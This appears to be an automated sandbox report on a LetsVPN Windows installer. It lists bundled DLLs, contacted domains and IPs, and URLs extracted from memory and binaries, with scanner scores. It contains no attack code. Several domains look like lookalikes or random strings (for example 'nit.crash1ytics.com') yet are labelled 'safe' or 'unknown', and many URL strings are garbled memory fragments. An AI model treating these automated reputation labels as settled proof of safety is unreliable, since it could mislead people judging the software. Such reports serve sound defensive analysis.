C:\Program Files (x86)\letsvpn\app-3.7.0\NuGet.Squirrel.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensions.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensionsAsync.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SharpCompress.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Squirrel.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.AppContext.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.CodeDom.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Concurrent.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.NonGeneric.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Specialized.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Annotations.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.EventBasedAsync.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Primitives.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.TypeConverter.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Configuration.ConfigurationManager.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Console.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Common.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Odbc.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.OleDb.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.SqlClient.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Contracts.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Debug.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.EventLog.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.FileVersionInfo.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.PerformanceCounter.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Process.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.StackTrace.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TextWriterTraceListener.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tools.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TraceSource.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tracing.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Common.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
nal.fqoqehwib.com	0%	Virustotal	Browse
www.wshifen.com	0%	Virustotal	Browse
d1dmgcawtbm6l9.cloudfront.net	0%	Virustotal	Browse
socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
yandex.com	0%	Virustotal	Browse
nit.crash1ytics.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2.C:	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.certum.pl/CPS0	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://crl.certum.pl/ctnca.crl0k	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
http://www.symauth.com/cps0(	0%	URL Reputation	safe
https://intercom.help/letsvpn-world/en/articles/2907649-%E9%80%9A%E8%BF%87%E7%94%B3%E8%BF%B0%E6%89%B	0%	Avira URL Cloud	safe
https://pngimg.com/uploads/light/light_PNG14440.png	0%	Avira URL Cloud	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://www.newtonsoft.com/jsonschema	0%	URL Reputation	safe
https://aka.ms/toolkit/dotnet	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xamld	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
https://nit.crash1ytics.coma90bc2279e3aaca6280acf90463a10dehttps://nit.crash1ytics.comk	0%	Avira URL Cloud	safe
http://foo/Themes/TextBoxDictionary.xaml	0%	Avira URL Cloud	safe
http://foo/Themes/RadioButtonDictionary.xaml	0%	Avira URL Cloud	safe
http://foo/Themes/TextBoxDictionary.xamld	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/TabControllerDictionary.xamld	0%	Avira URL Cloud	safe
http://foo/Themes/TabControllerDictionary.xaml	0%	Avira URL Cloud	safe
https://rdrt.jkjtdfbs.com/letsvpn-world/en/articles/8260070-intel-connectivity-service-%E9%9C%80%E8%	0%	Avira URL Cloud	safe
http://foo/bar/themes/tabcontrollerdictionary.bamld	0%	Avira URL Cloud	safe
http://crl1.comsign.co.il/crl/comsignglobalrootca.crl0	0%	Avira URL Cloud	safe
http://logging.apache.org/log4net/release/faq.html#trouble-EventLog	0%	Avira URL Cloud	safe
https://letsvpn.world/registerterm.html	0%	Avira URL Cloud	safe
http://foo/bar/themes/appmenudictionary.baml0	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/articles/2830420-special-settings-for-killer-networking-produ	0%	Avira URL Cloud	safe
http://foo/bar/themes/appmenudictionary.baml	0%	Avira URL Cloud	safe
http://foo/bar/themes/textboxdictionary.baml	0%	Avira URL Cloud	safe
http://www.hardcodet.net/taskbar	0%	Avira URL Cloud	safe
http://foo/bar/themes/windowdictionary.baml	0%	Avira URL Cloud	safe
https://nit.crash1ytics.commg	0%	Avira URL Cloud	safe
https://d1dmgcawtbm6l9.cloudfront.net/rest-apiinvalid	0%	Avira URL Cloud	safe
http://foo/bar/themes/scrollviewdictionary.bamld	0%	Avira URL Cloud	safe
http://www.isimba.cn0	0%	Avira URL Cloud	safe
https://rdrt.jkjtdfbs.com/letsvpn-world/en/articles/8262690-special-settings-for-intel-connectivity-	0%	Avira URL Cloud	safe
http://ws-ap1.pusher.com/app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xamld	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/app.xaml	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xaml	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/collections/Killer	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xaml	0%	Avira URL Cloud	safe
https://nit.crash1ytics.com/app32/devicehttps://nit.crash1ytics.com/app32/deviceH	0%	Avira URL Cloud	safe
http://schemas.fontawesome.io/icons/	0%	Avira URL Cloud	safe
http://foo/Themes/ScrollViewDictionary.xamld	0%	Avira URL Cloud	safe
https://in.appcenter.ms./logs?api-version=1.0.0	0%	Avira URL Cloud	safe
http://foo/bar/themes/textboxdictionary.bamld	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/articles/3081101-adjust-the-settings-for-ipv6	0%	Avira URL Cloud	safe
http://wpfanimatedgif.codeplex.com	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/collections/1611781-%E4%B8%AD%E6%96%87%E5%B8%AE%E5%8A%A9	0%	Avira URL Cloud	safe
http://foo/bar/themes/windowdictionary.bamld	0%	Avira URL Cloud	safe
http://foo/bar/themes/tabcontrollerdictionary.baml	0%	Avira URL Cloud	safe
https://nit.crash1ytics.com/app32/deviceHh	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/app.xamld	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/articles/2926044-what-if-i-reached-maximum-connection-limit	0%	Avira URL Cloud	safe
https://github.com/CommunityToolkit/dotnet	0%	Avira URL Cloud	safe
http://foo/bar/themes/appmenudictionary.bamld	0%	Avira URL Cloud	safe
https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f	0%	Avira URL Cloud	safe
http://foo/bar/themes/radiobuttondictionary.bamld	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://nit.crash1ytics.comU	0%	Avira URL Cloud	safe
https://0.0.0.0%2F0debuginfodebuginfoinfoinfoinfoinfoHTTP/1.1	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://aka.ms/pscore6lBsq	0%	Avira URL Cloud	safe
http://foo/Themes/WindowDictionary.xaml	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xamld	0%	Avira URL Cloud	safe
https://nit.crash1ytics.coma90bc2279e3aaca6280acf90463a10dehttps://nit.crash1ytics.comSC-Set-NetIPIn	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xaml	0%	Avira URL Cloud	safe
http://crl.miJ2	0%	Avira URL Cloud	safe
https://nit.crash1ytics.com/app32/device	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/articles/2925752-how-to-download-letsvpn	0%	Avira URL Cloud	safe
https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8263010-windows-%E5%A6%82%E4%BD%95%E	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/articles/2780068-%E5%A6%82%E4%BD%95%E4%B8%8B%E8%BD%BD%E5%BE%9	0%	Avira URL Cloud	safe
https://USUS2.B	0%	Avira URL Cloud	safe
http://www.xmlspy.com)	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xaml	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/articles/2907458-%E6%8F%90%E7%A4%BA%E7%BB%91%E5%AE%9A%E8%AE%B	0%	Avira URL Cloud	safe
https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/3130411-smartbyte-%E8%BD%AF%E4%BB%B6	0%	Avira URL Cloud	safe
https://WSASend0.0.0.0%2F0WSARecvinfoinfo	0%	Avira URL Cloud	safe
https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8	0%	Avira URL Cloud	safe
http://www.hardcodet.net/taskbar0	0%	Avira URL Cloud	safe
https://www.cnblogs.com/kliine/p/10950992.html	0%	Avira URL Cloud	safe
http://fedir.comsign.co.il/crl/comsignglobalrootca.crl0;	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/collections/1628560-help-documents	0%	Avira URL Cloud	safe
http://repository.certum.pl/cscasha2.cer0	0%	Avira URL Cloud	safe
https://letsvpn.world/terms.html	0%	Avira URL Cloud	safe
http://foo/app.xamld	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xamld	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/AppMenuDictionary.xaml	0%	Avira URL Cloud	safe
http://foo/bar/app.bamld	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/WindowDictionary.xamld	0%	Avira URL Cloud	safe
http://foo/bar/themes/radiobuttondictionary.baml	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
nal.fqoqehwib.com	5.217.108.181	true	false	0%, Virustotal, Browse	unknown
www.wshifen.com	103.235.46.96	true	false	0%, Virustotal, Browse	unknown
d1dmgcawtbm6l9.cloudfront.net	18.239.15.44	true	false	0%, Virustotal, Browse	unknown
socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com	18.139.183.38	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.185.196	true	false	0%, Virustotal, Browse	unknown
nit.crash1ytics.com	19.88.16.251	true	false	0%, Virustotal, Browse	unknown
yandex.com	5.255.255.77	true	false	0%, Virustotal, Browse	unknown
chr.alipayassets.com	85.222.79.57	true	false		unknown
in.appcenter.ms	unknown	unknown	true		unknown
ws-ap1.pusher.com	unknown	unknown	true		unknown
www.yandex.com	unknown	unknown	true		unknown
www.baidu.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ws-ap1.pusher.com/app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://intercom.help/letsvpn-world/en/articles/2907649-%E9%80%9A%E8%BF%87%E7%94%B3%E8%BF%B0%E6%89%B	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll2.19.dr	false	Avira URL Cloud: safe	unknown
https://pngimg.com/uploads/light/light_PNG14440.png	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://nit.crash1ytics.coma90bc2279e3aaca6280acf90463a10dehttps://nit.crash1ytics.comk	LetsPRO.exe, 00000034.00000002.4555599565.000000000F8B6000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/toolkit/dotnet	LetsPRO.exe, 00000034.00000002.4551634567.0000000006322000.00000002.00000001.01000000.0000001E.sdmp, CommunityToolkit.Mvvm.dll.19.dr	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	false	URL Reputation: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/TabControllerDictionary.xamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/TextBoxDictionary.xaml	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/TextBoxDictionary.xamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/RadioButtonDictionary.xaml	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/TabControllerDictionary.xaml	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://logging.apache.org/log4net/release/faq.html#trouble-EventLog	LetsPRO.exe, 00000044.00000002.2600423293.0000000005442000.00000002.00000001.01000000.0000001B.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000000C.00000003.2068735303.0000020BD3C30000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://foo/bar/themes/tabcontrollerdictionary.bamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://letsvpn.world/registerterm.html	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll2.19.dr	false	Avira URL Cloud: safe	unknown
https://rdrt.jkjtdfbs.com/letsvpn-world/en/articles/8260070-intel-connectivity-service-%E9%9C%80%E8%	LetsPRO.resources.dll2.19.dr	false	Avira URL Cloud: safe	unknown
http://crl1.comsign.co.il/crl/comsignglobalrootca.crl0	LetsPRO.exe, 00000034.00000002.4549763803.0000000005D77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/appmenudictionary.baml0	LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/appmenudictionary.baml	LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/textboxdictionary.baml	LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/articles/2830420-special-settings-for-killer-networking-produ	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hardcodet.net/taskbar	LetsPRO.exe, 00000034.00000002.4585596709.0000000037F82000.00000002.00000001.01000000.00000032.sdmp, LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://d1dmgcawtbm6l9.cloudfront.net/rest-apiinvalid	LetsPRO.exe, 00000034.00000002.4648506124.00000000689E9000.00000002.00000001.01000000.00000024.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/windowdictionary.baml	LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nit.crash1ytics.commg	LetsPRO.exe, 00000034.00000002.4555599565.000000000F8B6000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/scrollviewdictionary.bamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.isimba.cn0	uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rdrt.jkjtdfbs.com/letsvpn-world/en/articles/8262690-special-settings-for-intel-connectivity-	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000019.00000002.2294187021.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4536454539.0000000004366000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/app.xaml	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BC5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A2B000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032B5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xaml	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/collections/Killer	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xaml	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nit.crash1ytics.com/app32/devicehttps://nit.crash1ytics.com/app32/deviceH	LetsPRO.exe, 00000034.00000002.4554290604.000000000F822000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.fontawesome.io/icons/	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://in.appcenter.ms./logs?api-version=1.0.0	LetsPRO.exe, 00000034.00000002.4560889921.000000002FF02000.00000002.00000001.01000000.00000027.sdmp	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/articles/3081101-adjust-the-settings-for-ipv6	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/ScrollViewDictionary.xamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/textboxdictionary.bamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000016.00000002.2142060618.0000000005027000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2289311446.0000000004AC1000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.0000000002F91000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
